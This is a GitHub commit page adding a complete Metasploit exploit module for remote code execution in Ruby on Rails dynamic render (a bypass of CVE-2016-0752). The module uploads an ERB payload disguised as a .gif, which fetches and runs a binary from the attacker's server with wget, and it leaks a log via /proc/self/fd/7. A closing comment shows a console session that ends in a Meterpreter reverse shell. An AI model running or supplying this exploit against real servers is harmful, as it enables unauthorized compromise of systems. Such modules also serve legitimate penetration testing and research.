Skip to content

Commit bca3aab

Browse files
committed
1 parent 2bd11f5 commit bca3aab

File tree

1 file changed

+245
-0
lines changed

1 file changed

+245
-0
lines changed
Lines changed: 245 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,245 @@
1+
require 'msf/core'
2+
3+
class MetasploitModule < Msf::Exploit::Remote
4+
Rank = ExcellentRanking
5+
6+
include Msf::Exploit::Remote::HttpClient
7+
include Msf::Exploit::Remote::HttpServer
8+
include Msf::Exploit::EXE
9+
include Msf::Exploit::FileDropper
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'Ruby on Rails Dynamic Render File Upload Remote Code Execution',
14+
'Description' => %q{
15+
This module exploits a remote code execution vulnerability in the explicit render
16+
method when leveraging user parameters.
17+
18+
This module has been tested across multiple versions of RoR including the latest
19+
5.0.0.1 - August 10, 2016. The technique used by this module requires the specified
20+
endpoint to be using dynamic render paths, such as the following example:
21+
22+
def show
23+
render params[:id]
24+
end
25+
26+
Also, the vulnerable target will need a POST endpoint for the TempFile upload, this
27+
can literrally be any endpoint. This module bypasses the patch for CVE-2016-0752
28+
which, afaik, prevented the exploitation of development.log. Finally, you only get
29+
one shot at this if you are testing with the buildin rails server, use caution.
30+
},
31+
'Author' =>
32+
[
33+
'mr_me <[email protected]>', # necromanced old bug & discovered new vector rce vector
34+
'John Poulin (forced-request)' # original render bug finder
35+
],
36+
'References' =>
37+
[
38+
[ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00'], # failed patch
39+
[ 'URL', 'https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/'], # John Poulin CVE-2016-0752 patched in 5.0.0.beta1.1 - January 25, 2016
40+
[ 'URL', 'https://gist.github.com/forced-request/5158759a6418e6376afb'], # John's exploit
41+
],
42+
'License' => MSF_LICENSE,
43+
'Platform' => ['linux', 'bsd'],
44+
'Arch' => ARCH_X86,
45+
'Payload' =>
46+
{
47+
'DisableNops' => true,
48+
},
49+
'Privileged' => false,
50+
'Targets' =>
51+
[
52+
[ 'Ruby on Rails 5.0.0.1', {} ]
53+
],
54+
'DefaultTarget' => 0,
55+
'DisclosureDate' => 'Oct 1 2016'))
56+
register_options(
57+
[
58+
Opt::RPORT(3000),
59+
OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/wae"]),
60+
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
61+
], self.class)
62+
end
63+
64+
def check
65+
66+
# this is the check for the dev environment
67+
res = send_request_cgi({
68+
'uri' => normalize_uri(datastore['URIPATH'], "%2f"),
69+
'method' => 'GET',
70+
}, 60)
71+
72+
# if the page controller is dynamically rendering, its probably vuln
73+
if res and res.body =~ /render params/
74+
return Exploit::CheckCode::Vulnerable
75+
end
76+
77+
# this is the check for the prod environment
78+
res = send_request_cgi({
79+
'uri' => normalize_uri(datastore['URIPATH'], "%2fproc%2fself%2fcomm"),
80+
'method' => 'GET',
81+
}, 60)
82+
83+
# maybe its exploitable
84+
if res and res.body =~ /ruby/
85+
return Exploit::CheckCode::Vulnerable
86+
end
87+
88+
return Exploit::CheckCode::Safe
89+
end
90+
91+
def on_request_uri(cli, request)
92+
if (not @pl)
93+
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
94+
return
95+
end
96+
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
97+
@elf_sent = true
98+
send_response(cli, @pl)
99+
end
100+
101+
def send_payload
102+
@bd = rand_text_alpha(8+rand(8))
103+
fn = rand_text_alpha(8+rand(8))
104+
un = rand_text_alpha(8+rand(8))
105+
pn = rand_text_alpha(8+rand(8))
106+
register_file_for_cleanup("/tmp/#{@bd}")
107+
cmd = "wget #{@service_url} -O /tmp/#{@bd};"
108+
cmd << "chmod 755 /tmp/#{@bd};"
109+
cmd << "/tmp/#{@bd}"
110+
pay = "<%=`#{cmd}`%>"
111+
print_status("uploading image...")
112+
data = Rex::MIME::Message.new
113+
data.add_part(pay, nil, nil, 'form-data; name="#{un}"; filename="#{fn}.gif"')
114+
res = send_request_cgi({
115+
'method' => 'POST',
116+
'cookie' => @cookie,
117+
'uri' => normalize_uri(datastore['URIPATH'], pn),
118+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
119+
'data' => data.to_s
120+
})
121+
if res and res.code == 422 and res.body =~ /Tempfile:\/(.*)&gt;/
122+
@path = "#{$1}" if res.body =~ /Tempfile:\/(.*)&gt;/
123+
return true
124+
else
125+
126+
# thsi is where we pull the log file
127+
if leak_log
128+
return true
129+
end
130+
end
131+
return false
132+
end
133+
134+
def leak_log
135+
136+
# path to the log /proc/self/fd/7
137+
# this bypasses the extension check
138+
res = send_request_cgi({
139+
'uri' => normalize_uri(datastore['URIPATH'], "proc%2fself%2ffd%2f7"),
140+
'method' => 'GET',
141+
}, 60)
142+
143+
if res and res.code == 200 and res.body =~ /Tempfile:\/(.*)>, @original_filename=/
144+
@path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>, @original_filename=/
145+
true
146+
else
147+
false
148+
end
149+
end
150+
151+
def start_http_server
152+
@pl = generate_payload_exe
153+
@elf_sent = false
154+
downfile = rand_text_alpha(8+rand(8))
155+
resource_uri = '/' + downfile
156+
157+
# do not use SSL for the attacking web server
158+
if datastore['SSL']
159+
ssl_restore = true
160+
datastore['SSL'] = false
161+
end
162+
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
163+
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
164+
else
165+
srv_host = datastore['SRVHOST']
166+
end
167+
@service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
168+
service_url_payload = srv_host + resource_uri
169+
print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
170+
start_service({'Uri' => {
171+
'Proc' => Proc.new { |cli, req|
172+
on_request_uri(cli, req)
173+
},
174+
'Path' => resource_uri
175+
}})
176+
datastore['SSL'] = true if ssl_restore
177+
connect
178+
end
179+
180+
def render_image
181+
@path.gsub!(/\//, '%2f')
182+
res = send_request_cgi({
183+
'uri' => normalize_uri(datastore['URIPATH'], @path),
184+
'method' => 'GET',
185+
}, 1)
186+
end
187+
188+
def exploit
189+
print_status("Sending initial request to detect exploitability")
190+
start_http_server
191+
if send_payload
192+
print_good("injected payload")
193+
render_image
194+
195+
# we need to delay, for the stager
196+
select(nil, nil, nil, 5)
197+
end
198+
end
199+
end
200+
201+
=begin
202+
saturn:metasploit-framework mr_me$ cat scripts/rails.rc
203+
use exploit/multi/http/rails_dynamic_render_code_exec
204+
set RHOST 172.16.175.251
205+
set payload linux/x86/meterpreter/reverse_tcp
206+
set LHOST 172.16.175.1
207+
check
208+
exploit
209+
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/rails.rc
210+
[*] Processing scripts/rails.rc for ERB directives.
211+
resource (scripts/rails.rc)> use exploit/multi/http/rails_dynamic_render_code_exec
212+
resource (scripts/rails.rc)> set RHOST 172.16.175.251
213+
RHOST => 172.16.175.251
214+
resource (scripts/rails.rc)> set payload linux/x86/meterpreter/reverse_tcp
215+
payload => linux/x86/meterpreter/reverse_tcp
216+
resource (scripts/rails.rc)> set LHOST 172.16.175.1
217+
LHOST => 172.16.175.1
218+
resource (scripts/rails.rc)> check
219+
[+] 172.16.175.251:3000 The target is vulnerable.
220+
resource (scripts/rails.rc)> exploit
221+
[*] Exploit running as background job.
222+
[*] Started reverse TCP handler on 172.16.175.1:4444
223+
224+
[*] Sending initial request to detect exploitability
225+
msf exploit(rails_dynamic_render_code_exec) > [*] 172.16.175.251:3000 - Starting up our web service on http://172.16.175.1:1337/iUDaRVpz ...
226+
[*] Using URL: http://0.0.0.0:1337/iUDaRVpz
227+
[*] Local IP: http://192.168.100.13:1337/iUDaRVpz
228+
[*] uploading image...
229+
[+] injected payload
230+
[*] 172.16.175.251:3000 - Sending the payload to the server...
231+
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
232+
[*] Sending stage (1495599 bytes) to 172.16.175.251
233+
[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.251:41246) at 2016-09-29 17:52:00 -0500
234+
[+] Deleted /tmp/NhhGKCCIgwF
235+
236+
msf exploit(rails_dynamic_render_code_exec) > sessions -i 1
237+
[*] Starting interaction with 1...
238+
239+
meterpreter > shell
240+
Process 50809 created.
241+
Channel 1 created.
242+
$ id
243+
uid=1000(student) gid=1000(student) groups=1000(student),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)
244+
$
245+
=end

0 commit comments

Comments
 (0)